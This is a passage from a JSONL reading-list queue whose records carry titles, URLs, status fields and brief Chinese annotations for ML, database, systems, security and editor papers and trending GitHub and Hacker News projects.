修复。"},"url":"https://arxiv.org/abs/2605.30335","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"demystifying-data-org","area":"papers","topic":"machine-learning","title":"Demystifying Data Organization for Enhanced LLM Training","meta":{"col3":"2026","col4":"arXiv 2605.30334;4 条数据排序原则 + STR/SAW;Microsoft data-efficacy 项目。"},"url":"https://arxiv.org/abs/2605.30334","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"compose-future-theorems","area":"papers","topic":"machine-learning","title":"COMPOSE: Composing Future Theorems from Citations and Formal Structure","meta":{"col3":"2026","col4":"arXiv 2605.30333;arXiv + Mathlib 双图条件生成;108K paired examples 数据集。"},"url":"https://arxiv.org/abs/2605.30333","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"soundness-bench","area":"papers","topic":"machine-learning","title":"SoundnessBench: Can Your AI Scientist Really Tell Good Research Ideas from Bad Ones?","meta":{"col3":"2026","col4":"arXiv 2605.30329;1099 ICLR 提案 soundness 评估;frontier LLM 普遍存在 optimism bias。"},"url":"https://arxiv.org/abs/2605.30329","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"resolution-diagnostics-llm","area":"papers","topic":"machine-learning","title":"Resolution Diagnostics for Paired LLM Evaluation","meta":{"col3":"2026","col4":"arXiv 2605.30315;Open LLM Leaderboard 27% 排名未达统计 resolution;常用 calculator 偏差 ~2x。"},"url":"https://arxiv.org/abs/2605.30315","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"mira-rubric","area":"papers","topic":"machine-learning","title":"MIRA: Mid-training Rubric Anchoring for Source-Aware Data Selection","meta":{"col3":"2026","col4":"arXiv 2605.30288;mid-training 阶段 self-anchored rubric discovery;半 token 匹配全语料。"},"url":"https://arxiv.org/abs/2605.30288","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"projection-bench","area":"papers","topic":"machine-learning","title":"ProjectionBench: Evaluating Scientific Hypothesis Generation in LLMs Under Progressive Information Disclosure","meta":{"col3":"2026","col4":"arXiv 2605.30284;逐步揭示信息测假说生成;GPT-5.4/Gemini 3.1 pro F1=0.7 minimal context。"},"url":"https://arxiv.org/abs/2605.30284","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"loong-doc-mt","area":"papers","topic":"machine-learning","title":"Loong: Human-Like Long Document Translation Agent with Adaptive Context Selection","meta":{"col3":"2026","col4":"arXiv 2605.30274;3E memory module;EN<->ZH/DE/FR 平均 +13.0 metric points。"},"url":"https://arxiv.org/abs/2605.30274","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"mem-ft-lora","area":"papers","topic":"machine-learning","title":"How LoRA Remembers? A Parametric Memory Law for LLM Finetuning","meta":{"col3":"2026","col4":"arXiv 2605.30260;ΔLoss vs effective params 幂律;token-level p>0.5 phase transition;MemFT 优化。"},"url":"https://arxiv.org/abs/2605.30260","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"ccopd-distillation","area":"papers","topic":"machine-learning","title":"CCOPD: Canonical-Context On-Policy Distillation for Multi-Turn Language Models","meta":{"col3":"2026","col4":"arXiv 2605.30251;同 evidence 不同呈现导致 self-anchored drift;32% relative improvement。"},"url":"https://arxiv.org/abs/2605.30251","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"codegraph-claude-code","area":"projects","topic":"devtools","title":"colbymchenry/codegraph: Pre-indexed code knowledge graph for Claude Code/Codex/Cursor","meta":{"col3":"2026","col4":"GitHub trending 30d;TypeScript;为 coding agent 提供 indexed graph context。"},"url":"https://github.com/colbymchenry/codegraph","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"anthropic-financial-services","area":"projects","topic":"backend-api","title":"anthropics/financial-services: Financial services workflows on Claude","meta":{"col3":"2026","col4":"GitHub trending 30d;Python;Anthropic 官方金融场景 cookbook + agent 模板。"},"url":"https://github.com/anthropics/financial-services","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"cloak-browser","area":"projects","topic":"security-privacy","title":"CloakHQ/CloakBrowser: Stealth Chromium passing bot-detection (Playwright drop-in)","meta":{"col3":"2026","col4":"GitHub trending 30d;fingerprint patches;Playwright 兼容;scraping/automation。"},"url":"https://github.com/CloakHQ/CloakBrowser","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"understand-anything-graph","area":"projects","topic":"devtools","title":"Lum1104/Understand-Anything: Interactive knowledge graph for code exploration","meta":{"col3":"2026","col4":"GitHub trending 30d;TypeScript;visualize codebase as queryable graph。"},"url":"https://github.com/Lum1104/Understand-Anything","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"agent-memory","area":"projects","topic":"machine-learning","title":"rohitg00/agentmemory: Persistent memory system for AI coding agents","meta":{"col3":"2026","col4":"GitHub trending 30d;TypeScript;benchmarked memory backend;session 持久化。"},"url":"https://github.com/rohitg00/agentmemory","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"academic-research-skills","area":"projects","topic":"devtools","title":"Imbad0202/academic-research-skills: Research workflow automation for Claude Code","meta":{"col3":"2026","col4":"GitHub trending 30d;Python;学术写作/调研 skill 集合。"},"url":"https://github.com/Imbad0202/academic-research-skills","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"mattpocock-skills","area":"projects","topic":"devtools","title":"mattpocock/skills: Engineering skills reference collection","meta":{"col3":"2026","col4":"GitHub trending 30d;Shell;Matt Pocock 整理的工程实践 skill 库。"},"url":"https://github.com/mattpocock/skills","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"ai-engineering-scratch","area":"projects","topic":"machine-learning","title":"rohitg00/ai-engineering-from-scratch: Building and shipping AI systems","meta":{"col3":"2026","col4":"GitHub trending 30d;Python;端到端 AI 系统从零搭建教程。"},"url":"https://github.com/rohitg00/ai-engineering-from-scratch","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"nine-router","area":"projects","topic":"devtools","title":"decolua/9router: AI coding tool connector with multi-provider auto-fallback","meta":{"col3":"2026","col4":"GitHub trending 30d;JavaScript;多 LLM provider 路由 + 故障切换。"},"url":"https://github.com/decolua/9router","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"ruflo-claude","area":"projects","topic":"machine-learning","title":"ruvnet/ruflo: Multi-agent orchestration platform for Claude","meta":{"col3":"2026","col4":"GitHub trending 30d;TypeScript;agent workflow orchestration framework。"},"url":"https://github.com/ruvnet/ruflo","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"bytedance-ui-tars","area":"projects","topic":"machine-learning","title":"bytedance/UI-TARS-desktop: Multimodal AI agent stack","meta":{"col3":"2026","col4":"GitHub trending 30d;TypeScript;连接 vision-language model 与 desktop infra。"},"url":"https://github.com/bytedance/UI-TARS-desktop","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"andrej-karpathy-skills","area":"projects","topic":"devtools","title":"multica-ai/andrej-karpathy-skills: Claude Code behavior tuning guide","meta":{"col3":"2026","col4":"GitHub trending 30d;Karpathy 风格的 coding agent prompt/skill 集。"},"url":"https://github.com/multica-ai/andrej-karpathy-skills","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"maigret-osint","area":"projects","topic":"security-privacy","title":"soxoj/maigret: OSINT username search across 3000+ sites","meta":{"col3":"2026","col4":"GitHub trending 30d;Python;按 username 收集人物资料;红队/调研工具。"},"url":"https://github.com/soxoj/maigret","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"domain-expertise-real-moat","area":"projects","topic":"engineering-culture","title":"Domain expertise has always been the real moat","meta":{"col3":"2026","col4":"HN best 30d 539 pts;后 LLM 时代护城河讨论;适合 daily reflection。"},"url":"https://www.brethorsting.com/blog/2026/05/domain-expertise-has-always-been-the-real-moat/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"zig-build-system-reworked","area":"projects","topic":"compilers-pl","title":"Zig: Build System Reworked (devlog 2026-05-26)","meta":{"col3":"2026","col4":"HN best 30d 350 pts;Zig 0.x build graph 重写;学习现代 build system 设计。"},"url":"https://ziglang.org/devlog/2026/#2026-05-26","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"rendering-diffs-pierre","area":"projects","topic":"dataviz","title":"On Rendering Diffs (Pierre)","meta":{"col3":"2026","col4":"HN best 30d 204 pts;diff 渲染算法 + UX;适合 frontend/devtool 学习。"},"url":"https://pierre.computer/writing/on-rendering-diffs","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"liquid-ai-lfm2-moe","area":"projects","topic":"machine-learning","title":"Liquid AI LFM2-5: 8B-A1B MoE trained on 38T tokens","meta":{"col3":"2026","col4":"HN best 30d 241 pts;新一代 MoE 开源模型;架构 + 训练数据规模。"},"url":"https://www.liquid.ai/blog/lfm2-5-8b-a1b","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"frontend-lost-decade-ai","area":"projects","topic":"engineering-culture","title":"Is AI causing a repeat of frontend's lost decade?","meta":{"col3":"2026","col4":"HN 30d 399 pts;mastrojs 反思 AI 时代 frontend 复杂度回潮。"},"url":"https://mastrojs.github.io/blog/2026-05-23-is-AI-causing-a-repeat-of-frontends-lost-decade/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"compile-quake-1997","area":"projects","topic":"compilers-pl","title":"Let's compile Quake like it's 1997 (Fabien Sanglard)","meta":{"col3":"2026","col4":"HN 30d 219 pts;DOS toolchain 重现 Quake 编译;优秀经典 build/PL 教学。"},"url":"https://fabiensanglard.net/compile_like_1997/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"various-llm-smells","area":"projects","topic":"machine-learning","title":"Various LLM Smells","meta":{"col3":"2026","col4":"HN 30d 364 pts;LLM 代码生成异味目录;类比 code smells。"},"url":"https://shvbsle.in/various-llm-smells/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"lakehouse-2021","area":"papers","topic":"databases","title":"Lakehouse: A New Generation of Open Platforms that Unify Data Warehousing and Advanced Analytics","meta":{"col3":"2021","col4":"CMU 15-721 syllabus;Databricks/Zaharia;现代 data platform 架构定义性论文。"},"url":"https://www.cidrdb.org/cidr2021/papers/cidr2021_paper17.pdf","status":"written","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"columnar-storage-formats-2023","area":"papers","topic":"databases","title":"An Empirical Evaluation of Columnar Storage Formats","meta":{"col3":"2023","col4":"CMU 15-721;Parquet/ORC/Arrow 实证对比;理解列存格式权衡的必读。"},"url":"https://www.vldb.org/pvldb/vol17/p148-zeng.pdf","status":"written","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31","written_at":"2026-06-13T04:20:08.763Z"} +{"slug":"fastlanes-compression","area":"papers","topic":"databases","title":"The FastLanes Compression Layout: Decoding >100B Integers per Second with Scalar Code","meta":{"col3":"2023","col4":"CMU 15-721;CWI;列存压缩 SIMD-friendly 布局;DuckDB 采用基础。"},"url":"https://www.vldb.org/pvldb/vol16/p2132-afroozeh.pdf","status":"written","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"velox-meta-2022","area":"papers","topic":"databases","title":"Velox: Meta's Unified Execution Engine","meta":{"col3":"2022","col4":"VLDB'22;Meta 统一 Presto/Spark/Pandas 执行后端;现代 vectorized engine 工业化案例。"},"url":"https://www.vldb.org/pvldb/vol15/p3372-pedreira.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"morsel-driven-2014","area":"papers","topic":"databases","title":"Morsel-Driven Parallelism: A NUMA-Aware Query Evaluation Framework","meta":{"col3":"2014","col4":"SIGMOD'14;HyPer/Umbra 调度核心;many-core 时代 query parallelism 标准范式。"},"url":"https://db.in.tum.de/~leis/papers/morsels.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"efficient-compile-2011","area":"papers","topic":"databases","title":"Efficiently Compiling Efficient Query Plans for Modern Hardware","meta":{"col3":"2011","col4":"VLDB'11;Neumann;data-centric query compilation;HyPer/Umbra 路线起点。"},"url":"https://www.vldb.org/pvldb/vol4/p539-neumann.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"wco-joins-relational-2020","area":"papers","topic":"databases","title":"Adopting Worst-Case Optimal Joins in Relational Database Systems","meta":{"col3":"2020","col4":"CMU 15-721;WCOJ 进入 RDBMS;图模式查询性能突破基础。"},"url":"https://www.vldb.org/pvldb/vol13/p1891-freitag.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"dremel-decade-2020","area":"papers","topic":"databases","title":"Dremel: A Decade of Interactive SQL Analysis at Web Scale","meta":{"col3":"2020","col4":"VLDB'20;Google 回顾 Dremel 十年演进;BigQuery 设计依据。"},"url":"https://research.google/pubs/dremel-a-decade-of-interactive-sql-analysis-at-web-scale/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"farm-2015","area":"papers","topic":"distributed-systems","title":"FaRM: Fast Remote Memory","meta":{"col3":"2014","col4":"NSDI'14;MSR;RDMA + 1-sided reads;现代低延迟存储系统起点。"},"url":"https://www.microsoft.com/en-us/research/publication/farm-fast-remote-memory/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"ray-2018","area":"papers","topic":"distributed-systems","title":"Ray: A Distributed Framework for Emerging AI Applications","meta":{"col3":"2018","col4":"OSDI'18;Berkeley;actor + task model 统一;现代 LLM training/inference 编排底座。"},"url":"https://www.usenix.org/conference/osdi18/presentation/moritz","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"on-demand-container-loading","area":"papers","topic":"distributed-systems","title":"On-demand Container Loading in AWS Lambda","meta":{"col3":"2023","col4":"USENIX ATC'23;Lambda 启动 GB-级镜像 sub-second;现代 serverless 冷启动工程。"},"url":"https://www.usenix.org/conference/atc23/presentation/brooker","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"paged-attention-vllm","area":"papers","topic":"ml-systems","title":"Efficient Memory Management for Large Language Model Serving with PagedAttention","meta":{"col3":"2023","col4":"Kwon et al. SOSP'23;vLLM 核心机制:把 GPU 显存当 OS 页表管 KV cache,直接催生 vLLM/SGLang/TensorRT-LLM 整代推理引擎"},"url":"https://arxiv.org/abs/2309.06180","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"flashattention-2","area":"papers","topic":"ml-systems","title":"FlashAttention-2: Faster Attention with Better Parallelism","meta":{"col3":"2023","col4":"Tri Dao;用 work partitioning 重排把 IO-aware attention 推到 A100 接近峰值,已是所有现代训练/推理 stack 的默认实现"},"url":"https://arxiv.org/abs/2307.08691","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"flashattention-3-2024","area":"papers","topic":"ml-systems","title":"FlashAttention-3: Fast and Accurate Attention with Asynchrony and Low-Precision","meta":{"col3":"2024","col4":"Hopper 上利用 WGMMA + FP8 + warp specialization;H100 attention 实测达峰值 75%;TMA 异步流水范本"},"url":"https://arxiv.org/abs/2407.08608","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"megatron-core-moe-2026","area":"papers","topic":"ml-systems","title":"Scalable Training of Mixture-of-Experts Models with Megatron Core","meta":{"col3":"2026","col4":"NVIDIA 系统综述:MoE 训练全栈优化(recompute/offload/Grouped GEMM/CUDA Graphs/FP8);DeepSeek-V3-685B 1233 TFLOPS"},"url":"https://arxiv.org/abs/2603.07685","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"vescale-fsdp-2026","area":"papers","topic":"ml-systems","title":"veScale-FSDP: Flexible and High-Performance FSDP at Scale","meta":{"col3":"2026","col4":"字节自研 FSDP;RaggedShard 结构感知分片支持 block-quant/Shampoo/Muon;万卡级 5–66% 吞吐提升"},"url":"https://arxiv.org/abs/2602.22437","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"qserve-w4a8kv4-2024","area":"papers","topic":"ml-systems","title":"QServe: W4A8KV4 Quantization and System Co-design for Efficient LLM Serving","meta":{"col3":"2024","col4":"Song Han;揭穿 INT4 在云端 batch 上的 dequant overhead,提出渐进量化 + SmoothAttention,实测 Llama-3 1.4x"},"url":"https://arxiv.org/abs/2405.04532","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"expertflow-moe-offload","area":"papers","topic":"ml-systems","title":"ExpertFlow: Efficient MoE Inference via Predictive Expert Caching","meta":{"col3":"2024","col4":"解决 MoE 部署内存爆炸:路由预测 + token 调度 + 预测式 expert cache;93.7% 显存削减 10x throughput"},"url":"https://arxiv.org/abs/2410.17954","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"nexus-prefill-decode-intra-gpu","area":"papers","topic":"ml-systems","title":"Nexus: Proactive Intra-GPU Disaggregation of Prefill and Decode","meta":{"col3":"2025","col4":"在单 GPU 内动态切 prefill/decode 资源;vLLM 上 2.2x 吞吐 / 20x TTFT;引入饱和与带宽争用模型"},"url":"https://arxiv.org/abs/2507.06608","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"liger-kernel-llm-training","area":"papers","topic":"ml-systems","title":"Liger Kernel: Efficient Triton Kernels for LLM Training","meta":{"col3":"2024","col4":"LinkedIn 开源 Triton kernel 套件;fused chunked CE/RMSNorm 等带来 20% 训练吞吐 + 60% 显存节省"},"url":"https://arxiv.org/abs/2410.10989","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"triton-anatomy-paged-attn","area":"papers","topic":"ml-systems","title":"The Anatomy of a Triton Attention Kernel","meta":{"col3":"2025","col4":"把 paged attention 用纯 Triton 写到 NVIDIA/AMD 上 SOTA 105.9%;可移植 LLM 推理 kernel 编写范本"},"url":"https://arxiv.org/abs/2511.11581","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"speculative-decoding-leviathan-2023","area":"papers","topic":"ml-systems","title":"Fast Inference from Transformers via Speculative Decoding","meta":{"col3":"2023","col4":"Leviathan-Kalman;speculative decoding 起源论文,draft+verify 推理范式被 vLLM/TGI/EAGLE 等普遍继承"},"url":"https://arxiv.org/abs/2211.17192","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"tensorrt-llm-overview","area":"papers","topic":"ml-systems","title":"NVIDIA TensorRT-LLM: An Open-Source Library for Optimizing LLM Inference","meta":{"col3":"2024","col4":"NVIDIA 官方推理库技术报告;CUDA Graph + 多种 attention impl + chunked prefill + in-flight batching"},"url":"https://github.com/NVIDIA/TensorRT-LLM","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"sglang-radixattention","area":"papers","topic":"ml-systems","title":"SGLang: Efficient Execution of Structured Language Model Programs","meta":{"col3":"2024","col4":"Lianmin Zheng;RadixAttention 自动复用 KV prefix;编程模型 + 运行时一体化,对 agent/tool-use workload 关键"},"url":"https://arxiv.org/abs/2312.07104","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"ds-zero-pp-comm","area":"papers","topic":"ml-systems","title":"ZeRO++: Extremely Efficient Collective Communication for Giant Model Training","meta":{"col3":"2024","col4":"DeepSpeed ZeRO++ 系列:低精度通信 + hierarchical partitioning,把跨机带宽瓶颈削 4x;多机训练标配"},"url":"https://arxiv.org/abs/2306.10209","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"rsa-1978","area":"papers","topic":"security-privacy","title":"A Method for Obtaining Digital Signatures and Public-Key Cryptosystems","meta":{"col3":"1978","col4":"Rivest-Shamir-Adleman;非对称密码学的开山论文,所有 PKI/TLS/PGP 的祖宗"},"url":"https://people.csail.mit.edu/rivest/Rsapaper.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"noise-protocol-framework","area":"papers","topic":"security-privacy","title":"The Noise Protocol Framework","meta":{"col3":"2018","col4":"Trevor Perrin;为 WireGuard/WhatsApp/Signal X3DH 提供通用 handshake pattern 形式化框架"},"url":"https://noiseprotocol.org/noise.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"signal-double-ratchet-2016","area":"papers","topic":"security-privacy","title":"The Double Ratchet Algorithm","meta":{"col3":"2016","col4":"Signal/WhatsApp/Matrix 端到端加密的核心;前向安全 + post-compromise security 同时实现"},"url":"https://signal.org/docs/specifications/doubleratchet/doubleratchet.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"ckks-homomorphic-2017","area":"papers","topic":"security-privacy","title":"Homomorphic Encryption for Arithmetic of Approximate Numbers","meta":{"col3":"2017","col4":"Cheon-Kim-Kim-Song;CKKS 全同态方案,浮点近似域;TenSeal/HEAAN/SEAL 后端基础"},"url":"https://eprint.iacr.org/2016/421.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"dwork-differential-privacy-2006","area":"papers","topic":"security-privacy","title":"Calibrating Noise to Sensitivity in Private Data Analysis","meta":{"col3":"2006","col4":"Dwork-McSherry-Nissim-Smith;正式定义 ε-DP + Laplace mechanism;现代隐私 ML 范式起点"},"url":"https://link.springer.com/chapter/10.1007/11681878_14","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"zk-snark-pinocchio-2013","area":"papers","topic":"security-privacy","title":"Pinocchio: Nearly Practical Verifiable Computation","meta":{"col3":"2013","col4":"Parno et al.;首批工程化 zk-SNARK;Zcash/Filecoin/StarkWare 都站在它肩上"},"url":"https://eprint.iacr.org/2013/279","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"spectre-attack-2018","area":"papers","topic":"security-privacy","title":"Spectre Attacks: Exploiting Speculative Execution","meta":{"col3":"2018","col4":"Kocher et al.;揭示推测执行造成的边信道,触发整个 CPU 行业 redesign(IBPB/STIBP/retpoline)"},"url":"https://spectreattack.com/spectre.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"meltdown-attack-2018","area":"papers","topic":"security-privacy","title":"Meltdown: Reading Kernel Memory from User Space","meta":{"col3":"2018","col4":"Lipp et al.;Intel 乱序执行漏洞,KPTI 进入 Linux/Windows/macOS 的直接动因"},"url":"https://meltdownattack.com/meltdown.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"rowhammer-2014","area":"papers","topic":"security-privacy","title":"Flipping Bits in Memory Without Accessing Them","meta":{"col3":"2014","col4":"Kim et al.;DRAM 物理副作用导致的位翻转,开启硬件层安全研究分支;ECC 不能完全防"},"url":"https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"oauth2-rfc6749","area":"papers","topic":"security-privacy","title":"OAuth 2.0 Authorization Framework (RFC 6749)","meta":{"col3":"2012","col4":"现代 web 授权事实标准;Google/GitHub/Slack/Atlassian/Apple Sign-In 都基于此"},"url":"https://datatracker.ietf.org/doc/html/rfc6749","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"webauthn-fido2","area":"papers","topic":"security-privacy","title":"Web Authentication: An API for accessing Public Key Credentials Level 2","meta":{"col3":"2021","col4":"W3C/FIDO2;passkey 的协议层;用挑战-响应 + 设备绑定密钥淘汰密码"},"url":"https://www.w3.org/TR/webauthn-2/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"log4shell-cve-2021-44228","area":"papers","topic":"security-privacy","title":"Log4Shell (CVE-2021-44228) Analysis","meta":{"col3":"2021","col4":"log4j JNDI 注入;JVM 生态最严重 RCE 之一;推动 SBOM/sigstore/SCA 普及"},"url":"https://logging.apache.org/log4j/2.x/security.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"sigstore-cosign-2022","area":"papers","topic":"security-privacy","title":"Sigstore: Software Signing for Everybody","meta":{"col3":"2022","col4":"Newman et al.;keyless signing + Rekor 透明日志;Linux Foundation 软件供应链方案"},"url":"https://www.usenix.org/conference/usenixsecurity22/presentation/newman","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"tls-1-3-rfc8446","area":"papers","topic":"security-privacy","title":"TLS 1.3 (RFC 8446)","meta":{"col3":"2018","col4":"0-RTT 握手 + 现代 AEAD 套件;mandates forward secrecy;现代 web 的握手层基线"},"url":"https://datatracker.ietf.org/doc/html/rfc8446","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"tree-sitter-2018","area":"papers","topic":"editors-ide","title":"Tree-sitter: An Incremental Parsing System","meta":{"col3":"2018","col4":"Max Brunsfeld;GLR 增量解析器生成器;Atom/Neovim/GitHub 高亮 + 代码导航的事实标准"},"url":"https://tree-sitter.github.io/tree-sitter/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"language-server-protocol-spec","area":"papers","topic":"editors-ide","title":"Language Server Protocol Specification","meta":{"col3":"2016","col4":"Microsoft;M*N → M+N 的编辑器/语言解耦协议;rust-analyzer/clangd/pyright 等都基于此"},"url":"https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"debug-adapter-protocol","area":"papers","topic":"editors-ide","title":"Debug Adapter Protocol","meta":{"col3":"2017","col4":"Microsoft;DAP 把 debugger 与 IDE 解耦;VS Code/Vim/Emacs 都重用 DAP 客户端"},"url":"https://microsoft.github.io/debug-adapter-protocol/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"salsa-incremental-rust-analyzer","area":"papers","topic":"editors-ide","title":"Salsa: A Generic Framework for On-Demand, Incrementalized Computation","meta":{"col3":"2019","col4":"Niko Matsakis;rust-analyzer / rustc query system 引擎;增量编译/IDE 响应式核心"},"url":"https://github.com/salsa-rs/salsa","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"codemirror-6-architecture","area":"papers","topic":"editors-ide","title":"CodeMirror 6 Architecture","meta":{"col3":"2021","col4":"Marijn Haverbeke;不变式 state + functional view + tree-sitter 集成;现代 web editor 标杆"},"url":"https://codemirror.net/docs/guide/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"monaco-editor-2016","area":"papers","topic":"editors-ide","title":"Monaco Editor: VS Code's Editor as a Library","meta":{"col3":"2016","col4":"Microsoft;VS Code 同源编辑器内核;TextMate grammars + LSP 客户端 + 基于行的渲染"},"url":"https://microsoft.github.io/monaco-editor/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} +{"slug":"zed-editor-collaborative","area":"papers","topic":"editors-ide","title":"Zed: A High-Performance Multiplayer Code Editor in 